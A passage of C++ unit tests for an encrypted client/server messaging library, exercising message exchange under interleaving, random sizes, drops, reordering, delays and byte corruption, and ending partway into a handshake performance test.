uint32_t payloadsize = 0;
memcpy(buff, msg1, sizeof(msg1));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg1), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg1, sizeof(msg1), payload, sizeof(msg1));
}
TEST(Context, MultiMessagesClientServerNoReply) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(msg1, 32);
RANDOMDATA(msg2, 32);
RANDOMDATA(msg3, 32);
uint8_t buff[128] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
memcpy(buff, msg1, sizeof(msg1));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg1), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg1, sizeof(msg1), payload, sizeof(msg1));
memcpy(buff, msg2, sizeof(msg2));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg2), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg2, sizeof(msg2), payload, sizeof(msg2));
memcpy(buff, msg3, sizeof(msg3));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg3), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg3, sizeof(msg3), payload, sizeof(msg3));
}
TEST(Context, MultiMessagesServerClientNoReply) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(msg1, 32);
RANDOMDATA(msg2, 32);
RANDOMDATA(msg3, 32);
uint8_t buff[128] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
memcpy(buff, msg1, sizeof(msg1));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg1), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg1, sizeof(msg1), payload, sizeof(msg1));
memcpy(buff, msg2, sizeof(msg2));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg2), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg2, sizeof(msg2), payload, sizeof(msg2));
memcpy(buff, msg3, sizeof(msg3));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg3), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg3, sizeof(msg3), payload, sizeof(msg3));
}
TEST(Context, MultiMessages) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(msg1, 32);
RANDOMDATA(msg2, 32);
RANDOMDATA(msg3, 32);
RANDOMDATA(msg4, 32);
RANDOMDATA(msg5, 32);
RANDOMDATA(msg6, 32);
uint8_t buff[128] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
memcpy(buff, msg1, sizeof(msg1));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg1), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg1, sizeof(msg1), payload, sizeof(msg1));
memcpy(buff, msg2, sizeof(msg2));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg2), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg2, sizeof(msg2), payload, sizeof(msg2));
memcpy(buff, msg3, sizeof(msg3));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg3), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg3, sizeof(msg3), payload, sizeof(msg3));
memcpy(buff, msg4, sizeof(msg4));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg4), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg4, sizeof(msg4), payload, sizeof(msg4));
memcpy(buff, msg5, sizeof(msg5));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg5), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg5, sizeof(msg5), payload, sizeof(msg5));
memcpy(buff, msg6, sizeof(msg6));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg6), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg6, sizeof(msg6), payload, sizeof(msg6));
}
TEST(Context, MultiMessagesInterleaved) {
TEST_PREAMBLE_CLIENT_SERVER;
RANDOMDATA(msg1, 32);
RANDOMDATA(msg2, 32);
RANDOMDATA(msg3, 32);
RANDOMDATA(msg4, 32);
RANDOMDATA(msg5, 32);
RANDOMDATA(msg6, 32);
uint8_t buff[128] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
memcpy(buff, msg1, sizeof(msg1));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg1), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg1, sizeof(msg1), payload, sizeof(msg1));
memcpy(buff, msg2, sizeof(msg2));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg2), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg2, sizeof(msg2), payload, sizeof(msg2));
memcpy(buff, msg3, sizeof(msg3));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg3), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg3, sizeof(msg3), payload, sizeof(msg3));
memcpy(buff, msg4, sizeof(msg4));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg4), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg4, sizeof(msg4), payload, sizeof(msg4));
memcpy(buff, msg5, sizeof(msg5));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg5), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg5, sizeof(msg5), payload, sizeof(msg5));
memcpy(buff, msg6, sizeof(msg6));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg6), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg6, sizeof(msg6), payload, sizeof(msg6));
}
TEST(Context, MultiMessagesManyServerClient) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t msg[32] = {};
uint8_t buff[128] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
for (int i = 0; i < 100; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
memcpy(buff, msg, sizeof(msg));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, sizeof(msg), payload, sizeof(msg));
}
}
TEST(Context, MultiMessagesManyClientServer) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t msg[32] = {};
uint8_t buff[128] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
for (int i = 0; i < 100; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
memcpy(buff, msg, sizeof(msg));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, sizeof(msg), payload, sizeof(msg));
}
}
TEST(Context, MultiMessagesManyInterleaved) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t msg[32] = {};
uint8_t buff[128] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
memcpy(buff, msg, sizeof(msg));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, sizeof(msg), payload, sizeof(msg));
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
memcpy(buff, msg, sizeof(msg));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, sizeof(msg), payload, sizeof(msg));
}
}
TEST(Context, MultiMessagesManyInterleavedLargeMessages) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t buff[128] = {};
uint8_t msg[sizeof(buff) - MR_OVERHEAD_WITHOUT_ECDH] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
memcpy(buff, msg, sizeof(msg));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, sizeof(msg), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, sizeof(msg), payload, sizeof(msg));
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
memcpy(buff, msg, sizeof(msg));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, sizeof(msg), sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, sizeof(msg), payload, sizeof(msg));
}
}
TEST(Context, MultiMessagesManyInterleavedRandomSize) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t buff[128] = {};
constexpr uint32_t smallmsg = sizeof(buff) - MR_OVERHEAD_WITH_ECDH;
constexpr uint32_t largemsg = sizeof(buff) - MR_OVERHEAD_WITHOUT_ECDH;
uint8_t msg[largemsg] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
uint32_t msgsize = 0;
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, msgsize, sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, msgsize, sizeof(buff)));
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
}
TEST(Context, MultiMessagesManyInterleavedRandomSizeWithDrops10Percent) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t buff[128] = {};
constexpr uint32_t smallmsg = sizeof(buff) - MR_OVERHEAD_WITH_ECDH;
constexpr uint32_t largemsg = sizeof(buff) - MR_OVERHEAD_WITHOUT_ECDH;
uint8_t msg[largemsg] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
uint32_t msgsize = 0;
bool drop = false;
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
drop = msg[1] < 25;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, msgsize, sizeof(buff)));
if (!drop)
{
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
drop = msg[1] < 25;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, msgsize, sizeof(buff)));
if (!drop)
{
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
}
}
TEST(Context, MultiMessagesManyInterleavedRandomSizeWithDrops50Percent) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t buff[128] = {};
constexpr uint32_t smallmsg = sizeof(buff) - MR_OVERHEAD_WITH_ECDH;
constexpr uint32_t largemsg = sizeof(buff) - MR_OVERHEAD_WITHOUT_ECDH;
uint8_t msg[largemsg] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
uint32_t msgsize = 0;
bool drop = false;
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
drop = msg[1] < 128;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, msgsize, sizeof(buff)));
if (!drop)
{
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
drop = msg[1] < 128;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, msgsize, sizeof(buff)));
if (!drop)
{
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
}
}
TEST(Context, MultiMessagesManyInterleavedRandomSizeWithCorruption10Percent) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t buff[128] = {};
constexpr uint32_t smallmsg = sizeof(buff) - MR_OVERHEAD_WITH_ECDH;
constexpr uint32_t largemsg = sizeof(buff) - MR_OVERHEAD_WITHOUT_ECDH;
uint8_t msg[largemsg] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
uint32_t msgsize = 0;
bool corrupt = false;
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
corrupt = msg[1] < 25;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, msgsize, sizeof(buff)));
if (corrupt)
{
buff[msg[2] % sizeof(buff)] -= 1;
EXPECT_NE(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
}
else
{
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
corrupt = msg[1] < 25;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, msgsize, sizeof(buff)));
if (corrupt)
{
buff[msg[2] % sizeof(buff)] += 1;
EXPECT_NE(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
}
else
{
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
}
}
TEST(Context, MultiMessagesManyInterleavedRandomSizeWithCorruption50Percent) {
TEST_PREAMBLE_CLIENT_SERVER;
uint8_t buff[128] = {};
constexpr uint32_t smallmsg = sizeof(buff) - MR_OVERHEAD_WITH_ECDH;
constexpr uint32_t largemsg = sizeof(buff) - MR_OVERHEAD_WITHOUT_ECDH;
uint8_t msg[largemsg] = {};
uint8_t* payload = 0;
uint32_t payloadsize = 0;
uint32_t msgsize = 0;
bool corrupt = false;
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
corrupt = msg[1] < 128;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff, msgsize, sizeof(buff)));
if (corrupt)
{
buff[msg[2] % sizeof(buff)] -= 1;
EXPECT_NE(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
}
else
{
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg, sizeof(msg)));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
corrupt = msg[1] < 128;
memcpy(buff, msg, msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff, msgsize, sizeof(buff)));
if (corrupt)
{
buff[msg[2] % sizeof(buff)] += 1;
EXPECT_NE(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
}
else
{
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buff, sizeof(buff), sizeof(buff), &payload, &payloadsize));
ASSERT_BUFFEREQ(msg, msgsize, payload, msgsize);
}
}
}
TEST(Context, MultiMessagesManyInterleavedRandomSizeWithDelays) {
TEST_PREAMBLE_CLIENT_SERVER;
constexpr uint32_t buffsize = 128;
constexpr uint32_t smallmsg = buffsize - MR_OVERHEAD_WITH_ECDH;
constexpr uint32_t largemsg = buffsize - MR_OVERHEAD_WITHOUT_ECDH;
uint8_t* payload = 0;
uint32_t payloadsize = 0;
uint32_t msgsize = 0;
bool wait = false;
std::queue<std::tuple<std::array<uint8_t, buffsize>, std::array<uint8_t, largemsg>, uint32_t>> servermessages;
std::queue<std::tuple<std::array<uint8_t, buffsize>, std::array<uint8_t, largemsg>, uint32_t>> clientmessages;
std::array<uint8_t, largemsg> msg{};
std::array<uint8_t, buffsize> buff{};
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg.data(), (uint32_t)msg.size()));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
wait = msg[1] < 128;
memcpy(buff.data(), msg.data(), msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff.data(), msgsize, (uint32_t)buff.size()));
servermessages.push(std::make_tuple(buff, msg, msgsize));
if (!wait)
{
while (!servermessages.empty())
{
auto& _buf = std::get<0>(servermessages.front());
auto& _msg = std::get<1>(servermessages.front());
auto& _msgsize = std::get<2>(servermessages.front());
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, _buf.data(), (uint32_t)_buf.size(), (uint32_t)_buf.size(), &payload, &payloadsize));
ASSERT_BUFFEREQ(_msg.data(), _msgsize, payload, _msgsize);
servermessages.pop();
}
}
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg.data(), (uint32_t)msg.size()));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
wait = msg[1] < 128;
memcpy(buff.data(), msg.data(), msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff.data(), msgsize, (uint32_t)buff.size()));
clientmessages.push(std::make_tuple(buff, msg, msgsize));
if (!wait)
{
while (!clientmessages.empty())
{
auto& _buf = std::get<0>(clientmessages.front());
auto& _msg = std::get<1>(clientmessages.front());
auto& _msgsize = std::get<2>(clientmessages.front());
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, _buf.data(), (uint32_t)_buf.size(), (uint32_t)_buf.size(), &payload, &payloadsize));
ASSERT_BUFFEREQ(_msg.data(), _msgsize, payload, _msgsize);
clientmessages.pop();
}
}
}
}
TEST(Context, MultiMessagesManyInterleavedRandomSizeWithReorders) {
TEST_PREAMBLE_CLIENT_SERVER;
constexpr uint32_t buffsize = 128;
constexpr uint32_t smallmsg = buffsize - MR_OVERHEAD_WITH_ECDH;
constexpr uint32_t largemsg = buffsize - MR_OVERHEAD_WITHOUT_ECDH;
uint8_t* payload = 0;
uint32_t payloadsize = 0;
uint32_t msgsize = 0;
bool wait = false;
std::stack<std::tuple<std::array<uint8_t, buffsize>, std::array<uint8_t, largemsg>, uint32_t>> servermessages;
std::stack<std::tuple<std::array<uint8_t, buffsize>, std::array<uint8_t, largemsg>, uint32_t>> clientmessages;
std::array<uint8_t, largemsg> msg{};
std::array<uint8_t, buffsize> buff{};
for (int i = 0; i < 50; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg.data(), (uint32_t)msg.size()));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
wait = msg[1] < 128;
memcpy(buff.data(), msg.data(), msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff.data(), msgsize, (uint32_t)buff.size()));
servermessages.push(std::make_tuple(buff, msg, msgsize));
if (!wait)
{
while (!servermessages.empty())
{
auto& _buf = std::get<0>(servermessages.top());
auto& _msg = std::get<1>(servermessages.top());
auto& _msgsize = std::get<2>(servermessages.top());
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, _buf.data(), (uint32_t)_buf.size(), (uint32_t)_buf.size(), &payload, &payloadsize));
ASSERT_BUFFEREQ(_msg.data(), _msgsize, payload, _msgsize);
servermessages.pop();
}
}
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg.data(), (uint32_t)msg.size()));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
wait = msg[1] < 128;
memcpy(buff.data(), msg.data(), msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff.data(), msgsize, (uint32_t)buff.size()));
clientmessages.push(std::make_tuple(buff, msg, msgsize));
if (!wait)
{
while (!clientmessages.empty())
{
auto& _buf = std::get<0>(clientmessages.top());
auto& _msg = std::get<1>(clientmessages.top());
auto& _msgsize = std::get<2>(clientmessages.top());
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, _buf.data(), (uint32_t)_buf.size(), (uint32_t)_buf.size(), &payload, &payloadsize));
ASSERT_BUFFEREQ(_msg.data(), _msgsize, payload, _msgsize);
clientmessages.pop();
}
}
}
}
TEST(Context, MultiMessagesManyInterleavedRandomSizeWithReordersAndDrops) {
TEST_PREAMBLE_CLIENT_SERVER;
constexpr uint32_t buffsize = 128;
constexpr uint32_t smallmsg = buffsize - MR_OVERHEAD_WITH_ECDH;
constexpr uint32_t largemsg = buffsize - MR_OVERHEAD_WITHOUT_ECDH;
uint8_t* payload = 0;
uint32_t payloadsize = 0;
uint32_t msgsize = 0;
bool wait = false;
bool drop = false;
std::stack<std::tuple<std::array<uint8_t, buffsize>, std::array<uint8_t, largemsg>, uint32_t>> servermessages;
std::stack<std::tuple<std::array<uint8_t, buffsize>, std::array<uint8_t, largemsg>, uint32_t>> clientmessages;
std::array<uint8_t, largemsg> msg{};
std::array<uint8_t, buffsize> buff{};
for (int i = 0; i < 100; i++)
{
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg.data(), (uint32_t)msg.size()));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
wait = msg[1] < 128;
drop = msg[5] < 128;
memcpy(buff.data(), msg.data(), msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(client, buff.data(), msgsize, (uint32_t)buff.size()));
if (!drop) servermessages.push(std::make_tuple(buff, msg, msgsize));
if (!wait)
{
while (!servermessages.empty())
{
auto& _buf = std::get<0>(servermessages.top());
auto& _msg = std::get<1>(servermessages.top());
auto& _msgsize = std::get<2>(servermessages.top());
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(server, _buf.data(), (uint32_t)_buf.size(), (uint32_t)_buf.size(), &payload, &payloadsize));
ASSERT_BUFFEREQ(_msg.data(), _msgsize, payload, _msgsize);
servermessages.pop();
}
}
ASSERT_EQ(MR_E_SUCCESS, mr_rng_generate(rng, msg.data(), (uint32_t)msg.size()));
msgsize = msg[0] < 128 ? largemsg : smallmsg;
wait = msg[1] < 128;
drop = msg[5] < 128;
memcpy(buff.data(), msg.data(), msgsize);
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_send(server, buff.data(), msgsize, (uint32_t)buff.size()));
if (!drop) clientmessages.push(std::make_tuple(buff, msg, msgsize));
if (!wait)
{
while (!clientmessages.empty())
{
auto& _buf = std::get<0>(clientmessages.top());
auto& _msg = std::get<1>(clientmessages.top());
auto& _msgsize = std::get<2>(clientmessages.top());
EXPECT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, _buf.data(), (uint32_t)_buf.size(), (uint32_t)_buf.size(), &payload, &payloadsize));
ASSERT_BUFFEREQ(_msg.data(), _msgsize, payload, _msgsize);
clientmessages.pop();
}
}
}
}
TEST(Context, InitializationPerformanceTest) {
uint8_t buffer[256]{};
mr_config clientcfg{ true };
auto client = mr_ctx_create(&clientcfg);
uint8_t clientpubkey[32];
auto clientidentity = mr_ecdsa_create(client);
ASSERT_EQ(MR_E_SUCCESS, mr_ecdsa_generate(clientidentity, clientpubkey, sizeof(clientpubkey)));
ASSERT_EQ(MR_E_SUCCESS, mr_ctx_set_identity(client, clientidentity, false));
mr_config servercfg{ false };
auto server = mr_ctx_create(&servercfg);
uint8_t serverpubkey[32];
auto serveridentity = mr_ecdsa_create(server);
ASSERT_EQ(MR_E_SUCCESS, mr_ecdsa_generate(serveridentity, serverpubkey, sizeof(serverpubkey)));
ASSERT_EQ(MR_E_SUCCESS, mr_ctx_set_identity(server, serveridentity, false));
run_on_exit _a{ [client, server, clientidentity, serveridentity] {
mr_ctx_destroy(client);
mr_ctx_destroy(server);
mr_ecdsa_destroy(clientidentity);
mr_ecdsa_destroy(serveridentity);
} };
auto t1 = std::chrono::high_resolution_clock::now();
int i = 0;
double seconds = 0;
for (i = 0; ; i++) {
// run #1
ASSERT_EQ(MR_E_SENDBACK, mr_ctx_initiate_initialization(client, buffer, buffersize, true));
ASSERT_EQ(MR_E_SENDBACK, mr_ctx_receive(server, buffer, buffersize, buffersize, nullptr, 0));
ASSERT_EQ(MR_E_SENDBACK, mr_ctx_receive(client, buffer, buffersize, buffersize, nullptr, 0));
ASSERT_EQ(MR_E_SENDBACK, mr_ctx_receive(server, buffer, buffersize, buffersize, nullptr, 0));
ASSERT_EQ(MR_E_SUCCESS, mr_ctx_receive(client, buffer, buffersize, buffersize, nullptr, 0));
auto t2 = std::chrono::high_resolution_clock::now();
auto time_passed = std::chrono::duration_cast<std::chrono::duration<double>>(t2 - t1);
seconds = time_passed.count();
